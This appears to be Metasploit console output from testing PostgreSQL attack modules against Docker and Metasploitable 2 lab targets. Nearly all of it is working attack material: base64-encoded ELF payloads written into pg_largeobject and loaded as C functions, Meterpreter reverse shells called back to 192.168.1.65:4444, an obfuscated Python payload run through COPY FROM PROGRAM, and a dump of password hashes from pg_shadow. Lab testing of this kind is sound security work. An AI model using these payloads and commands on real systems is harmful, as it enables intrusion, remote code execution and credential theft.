[*] : Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16409, 0, decode('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', 'base64'))'
[*] : Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16409, 1, decode('sAMAAAAAAACwAwAAAAAAAFoAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAQgAAAAEAAAADAAAAAAAAABAUAAAAAAAAEAQAAAAAAACDAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAAEAAAAGAAAAAwAAAAAAAACgFAAAAAAAAKAEAAAAAAAAAAEAAAAAAAACAAAAAAAAABAAAAAAAAAAEAAAAAAAAABIAAAADgAAAAMAAAAAAAAAoBUAAAAAAACgBQAAAAAAAAgAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAAVAAAAAEAAAADAAAAAAAAAKgVAAAAAAAAqAUAAAAAAABIAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAF0AAAADAAAAAAAAAAAAAAAAAAAAAAAAAHAJAAAAAAAAZwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAALmR5bmFtaWMALnJvZGF0YQAuZHluc3RyAC5oYXNoAC5yZWxhLnBsdAAucmVsYS5keW4ALmR5bnN5bQAudGV4dAAuZGF0YQAuaW5pdF9hcnJheQAuZ290LnBsdAAuc2hzdHJ0YWIA', 'base64'))'
[*] : Postgres - querying with 'select lo_export(16409, '/tmp/VxFilWqn.so')'
[*] Uploaded as /tmp/VxFilWqn.so, should be cleaned up automatically
[*] : Postgres - querying with 'create or replace function pg_temp.vnrkgeiSjI() returns void as '/tmp/VxFilWqn.so','vnrkgeiSjI' language c strict immutable'
[*] : Postgres - Skipping disconnecting from the session
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.1.65
[*] Meterpreter session 12 opened (192.168.1.65:4444 -> 192.168.1.65:59007) at 2024-02-01 10:53:56 +0000

meterpreter >

RHOST + RPORT (Metasploitable 2 VM)

msf6 exploit(linux/postgres/postgres_payload) > run username=postgres database=template1 rport=5432 password=postgres rhost=192.168.175.130 lhost=192.168.1.65

[*] Started reverse TCP handler on 192.168.1.65:4444
[*] Trying postgres:[email protected]:5432/template1
[*] 192.168.175.130:5432 Postgres - querying with 'select version()'
[*] 192.168.175.130:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.175.130:5432 Postgres - querying with 'select lo_creat(-1)'
[*] 192.168.175.130:5432 Postgres - querying with 'delete from pg_largeobject where loid=16392'
[*] 192.168.175.130:5432 Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16392, 0, decode('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', 'base64'))'
[*] 192.168.175.130:5432 Postgres - querying with 'select lo_export(16392, '/tmp/PyAwWNJP.so')'
[*] Uploaded as /tmp/PyAwWNJP.so, should be cleaned up automatically
[*] 192.168.175.130:5432 Postgres - querying with 'create or replace function pg_temp.wyAYqlHwMP() returns void as '/tmp/PyAwWNJP.so','wyAYqlHwMP' language c strict immutable'
[*] 192.168.175.130:5432 Postgres - Disconnected
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (1017704 bytes) to 192.168.1.65
[*] Meterpreter session 6 opened (192.168.1.65:4444 -> 192.168.1.65:58898) at 2024-02-01 10:46:08 +0000

meterpreter >

SESSION (Metasploitable 2 VM)

msf6 exploit(linux/postgres/postgres_payload) > run session=-1 lhost=192.168.1.65

[*] Started reverse TCP handler on 192.168.1.65:4444
[!] SESSION may not be compatible with this module:
[!]  * Unknown session platform
[*] Trying postgres:[email protected]:5432/postgres
[*] : Postgres - querying with 'select version()'
[*] 192.168.175.130:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] : Postgres - querying with 'select lo_creat(-1)'
[*] : Postgres - querying with 'delete from pg_largeobject where loid=16396'
[*] : Postgres - querying with 'insert into pg_largeobject (loid,pageno,data) values(16396, 0, decode('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', 'base64'))'
[*] : Postgres - querying with 'select lo_export(16396, '/tmp/LsqxJGoL.so')'
[*] Uploaded as /tmp/LsqxJGoL.so, should be cleaned up automatically
[*] : Postgres - querying with 'create or replace function pg_temp.dFxepMxrdN() returns void as '/tmp/LsqxJGoL.so','dFxepMxrdN' language c strict immutable'
[*] : Postgres - Skipping disconnecting from the session
[*] Transmitting intermediate stager...(106 bytes)
[*] Sending stage (1017704 bytes) to 192.168.1.65
[*] Meterpreter session 8 opened (192.168.1.65:4444 -> 192.168.1.65:58931) at 2024-02-01 10:47:17 +0000

meterpreter >

scanner/postgres/postgres_hashdump 🟢

RHOST + RPORT (Docker)

msf6 auxiliary(scanner/postgres/postgres_hashdump) > run rhost=127.0.0.1 rport=5432 password=password username=postgres database=template1

[+] 127.0.0.1:5432 Postgres - Logged in to 'template1' with 'postgres':'password'
[*] 127.0.0.1:5432 Postgres - querying with 'SELECT usename, passwd FROM pg_shadow'
[+] Query appears to have run successfully
[*] Error: 127.0.0.1: ActiveRecord::RecordInvalid Validation failed: Data is not in Postgres MD5 Hash format
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

SESSION(Docker)

msf6 auxiliary(scanner/postgres/postgres_hashdump) > run session=1

[*] 127.0.0.1: Postgres - querying with 'SELECT usename, passwd FROM pg_shadow'
[+] Query appears to have run successfully
[*] Error: 127.0.0.1: ActiveRecord::RecordInvalid Validation failed: Data is not in Postgres MD5 Hash format
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

RHOST + RPORT (Metasploitable 2 VM)

msf6 auxiliary(scanner/postgres/postgres_hashdump) > run database=template1 rhost=192.168.175.130 rport=5432 username=postgres password=postgres

[+] 192.168.175.130:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres'
[*] 192.168.175.130:5432 Postgres - querying with 'SELECT usename, passwd FROM pg_shadow'
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username  Hash
 --------  ----
 postgres  md53175bce1d3201d16594cebf9d7eb3f9d

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

SESSION(Metasploitable 2 VM)

msf6 auxiliary(scanner/postgres/postgres_hashdump) > run session=2

[*] 192.168.175.130: Postgres - querying with 'SELECT usename, passwd FROM pg_shadow'
[+] Query appears to have run successfully
[+] Postgres Server Hashes
======================

 Username  Hash
 --------  ----
 postgres  md53175bce1d3201d16594cebf9d7eb3f9d

[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

multi/postgres/postgres_copy_from_program_cmd_exec 🟢

RHOST + RPORT

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run rhost=127.0.0.1 rport=5432 database=template1 username=postgres password=password lhost=192.168.175.1 PythonPath=python3

[*] Started reverse TCP handler on 192.168.175.1:4444
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - Exploiting...
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'DROP TABLE IF EXISTS "IYwWbXaZU";'
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - IYwWbXaZU dropped successfully
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'CREATE TABLE "IYwWbXaZU"(filename text);'
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - IYwWbXaZU created successfully
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - querying with 'COPY "IYwWbXaZU" FROM PROGRAM 'echo exec\(__import__\(\''zlib\''\).decompress\(__import__\(\''base64\''\).b64decode\(__import__\(\''codecs\''\).getencoder\(\''utf-8\''\)\(\''eNpNjk1PAyEQhs/wK7gtxJWUpmo14dCYNWmM2ti9N1uYpqQrEIbVvy/YPTi3Z95nPtxXDCkzDOYCmQ3IkLq5NR1jCgYQaztRDBrl1eMoNy+H7XvXtyj3H8+vh33/2W3eRJGkCd6DyZw36nEp1f1aqoc7qZp2VUoI+nN2I7A+TfBEidVlIoH55mqxXAlK3ImN4LkVWi9KTo4JhgslUSe5C7Em0oIJFngz5dPtuhEtnmEcdV3YYrbOV3W76yqEKf8jSGmmcijoKK9GuT9YLm7+uDgzU1JeQ/CWB0F/AdTHXE8\=\''\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -';'
[!] 127.0.0.1:5432 - 127.0.0.1:5432 - Unable to execute query: COPY "IYwWbXaZU" FROM PROGRAM 'echo exec\(__import__\(\''zlib\''\).decompress\(__import__\(\''base64\''\).b64decode\(__import__\(\''codecs\''\).getencoder\(\''utf-8\''\)\(\''eNpNjk1PAyEQhs/wK7gtxJWUpmo14dCYNWmM2ti9N1uYpqQrEIbVvy/YPTi3Z95nPtxXDCkzDOYCmQ3IkLq5NR1jCgYQaztRDBrl1eMoNy+H7XvXtyj3H8+vh33/2W3eRJGkCd6DyZw36nEp1f1aqoc7qZp2VUoI+nN2I7A+TfBEidVlIoH55mqxXAlK3ImN4LkVWi9KTo4JhgslUSe5C7Em0oIJFngz5dPtuhEtnmEcdV3YYrbOV3W76yqEKf8jSGmmcijoKK9GuT9YLm7+uDgzU1JeQ/CWB0F/AdTHXE8\=\''\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -';
[!] 127.0.0.1:5432 - 127.0.0.1:5432 - Unable to execute query: COPY "IYwWbXaZU" FROM PROGRAM 'echo exec\(__import__\(\''zlib\''\).decompress\(__import__\(\''base64\''\).b64decode\(__import__\(\''codecs\''\).getencoder\(\''utf-8\''\)\(\''eNpNjk1PAyEQhs/wK7gtxJWUpmo14dCYNWmM2ti9N1uYpqQrEIbVvy/YPTi3Z95nPtxXDCkzDOYCmQ3IkLq5NR1jCgYQaztRDBrl1eMoNy+H7XvXtyj3H8+vh33/2W3eRJGkCd6DyZw36nEp1f1aqoc7qZp2VUoI+nN2I7A+TfBEidVlIoH55mqxXAlK3ImN4LkVWi9KTo4JhgslUSe5C7Em0oIJFngz5dPtuhEtnmEcdV3YYrbOV3W76yqEKf8jSGmmcijoKK9GuT9YLm7+uDgzU1JeQ/CWB0F/AdTHXE8\=\''\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -';
[-] 127.0.0.1:5432 - Exploit Failed
[*] 127.0.0.1:5432 - 127.0.0.1:5432 Postgres - Disconnected
[*] Exploit completed, but no session was created.

SESSION

msf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > run session=1 lhost=192.168.175.1

[*] Started reverse TCP handler on 192.168.175.1:4444
[!] 127.0.0.1:5432 - SESSION may not be compatible with this module:
[!] 127.0.0.1:5432 -  * Unknown session arch
[!] 127.0.0.1:5432 -  * Unknown session platform
[*] 127.0.0.1:5432 - : Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - : Postgres - querying with 'select version()'
[*] 127.0.0.1:5432 - 127.0.0.1:5432 - PostgreSQL 16.1 (Debian 16.1-1.pgdg120+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
[*] 127.0.0.1:5432 - Exploiting...
[*] 127.0.0.1:5432 - : Postgres - querying with 'DROP TABLE IF EXISTS "IYwWbXaZU";'
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - IYwWbXaZU dropped successfully
[*] 127.0.0.1:5432 - : Postgres - querying with 'CREATE TABLE "IYwWbXaZU"(filename text);'
[+] 127.0.0.1:5432 - 127.0.0.1:5432 - IYwWbXaZU created successfully
[*] 127.0.0.1:5432 - : Postgres - querying with 'COPY "IYwWbXaZU" FROM PROGRAM 'echo exec\(__import__\(\''zlib\''\).decompress\(__import__\(\''base64\''\).b64decode\(__import__\(\''codecs\''\).getencoder\(\''utf-8\''\)\(\''eNpNjk1PAyEQhs/wK7gtxJWUpmo14dCYNWmM2ti9N1uYpqQrEIbVvy/YPTi3Z95nPtxXDCkzDOYCmQ3IkLq5NR1jCgYQaztRDBrl1eMoNy+H7XvXtyj3H8+vh33/2W3eRJGkCd6DyZw36nEp1f1aqoc7qZp2VUoI+nN2I7A+TfBEidVlIoH55mqxXAlK3ImN4LkVWi9KTo4JhgslUSe5C7Em0oIJFngz5dPtuhEtnmEcdV3YYrbOV3W76yqEKf8jSGmmcijoKK9GuT9YLm7+uDgzU1JeQ/CWB0F/AdTHXE8\=\''\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -';'
[!] 127.0.0.1:5432 - 127.0.0.1:5432 - Unable to execute query: COPY "IYwWbXaZU" FROM PROGRAM 'echo exec\(__import__\(\''zlib\''\).decompress\(__import__\(\''base64\''\).b64decode\(__import__\(\''codecs\''\).getencoder\(\''utf-8\''\)\(\''eNpNjk1PAyEQhs/wK7gtxJWUpmo14dCYNWmM2ti9N1uYpqQrEIbVvy/YPTi3Z95nPtxXDCkzDOYCmQ3IkLq5NR1jCgYQaztRDBrl1eMoNy+H7XvXtyj3H8+vh33/2W3eRJGkCd6DyZw36nEp1f1aqoc7qZp2VUoI+nN2I7A+TfBEidVlIoH55mqxXAlK3ImN4LkVWi9KTo4JhgslUSe5C7Em0oIJFngz5dPtuhEtnmEcdV3YYrbOV3W76yqEKf8jSGmmcijoKK9GuT9YLm7+uDgzU1JeQ/CWB0F/AdTHXE8\=\''\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -';
[!] 127.0.0.1:5432 - 127.0.0.1:5432 - Unable to execute query: COPY "IYwWbXaZU" FROM PROGRAM 'echo exec\(__import__\(\''zlib\''\).decompress\(__import__\(\''base64\''\).b64decode\(__import__\(\''codecs\''\).getencoder\(\''utf-8\''\)\(\''eNpNjk1PAyEQhs/wK7gtxJWUpmo14dCYNWmM2ti9N1uYpqQrEIbVvy/YPTi3Z95nPtxXDCkzDOYCmQ3IkLq5NR1jCgYQaztRDBrl1eMoNy+H7XvXtyj3H8+vh33/2W3eRJGkCd6DyZw36nEp1f1aqoc7qZp2VUoI+nN2I7A+TfBEidVlIoH55mqxXAlK3ImN4LkVWi9KTo4JhgslUSe5C7Em0oIJFngz5dPtuhEtnmEcdV3YYrbOV3W76yqEKf8jSGmmcijoKK9GuT9YLm7+uDgzU1JeQ/CWB0F/AdTHXE8\=\''\)\[0\]\)\)\) | exec $(which python || which python3 || which python2) -';
[-] 127.0.0.1:5432 - Exploit Failed
[*] 127.0.0.1:5432 - : Postgres - Skipping disconnecting from the session
[*] Exploit completed, but no session was created.

auxiliary/scanner/postgres/postgres_dbname_flag_injection 🟢

RHOST + RPORT

msf6 auxiliary(scanner/postgres/postgres_dbname_flag_injection) > run rhosts=127.0.0.1 rport=6543

[+] 127.0.0.1:6543        - 127.0.0.1:6543 is vulnerable to CVE-2013-1899: YSFATAL C42601 M--help requires a value Fpostgres.c L3426 Rprocess_postgres_switches
[*] 127.0.0.1:6543        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

auxiliary/scanner/postgres/postgres_schemadump 🟢

RHOST + RPORT

msf6 auxiliary(scanner/postgres/postgres_schemadump) > run rhost=127.0.0.1 rport=5432 password=password username=postgres

[+] 127.0.0.1:5432 Postgres - Logged in to 'postgres' with 'postgres':'password'
[*] 127.0.0.1:5432 Postgres - querying with 'SELECT datname FROM pg_database'
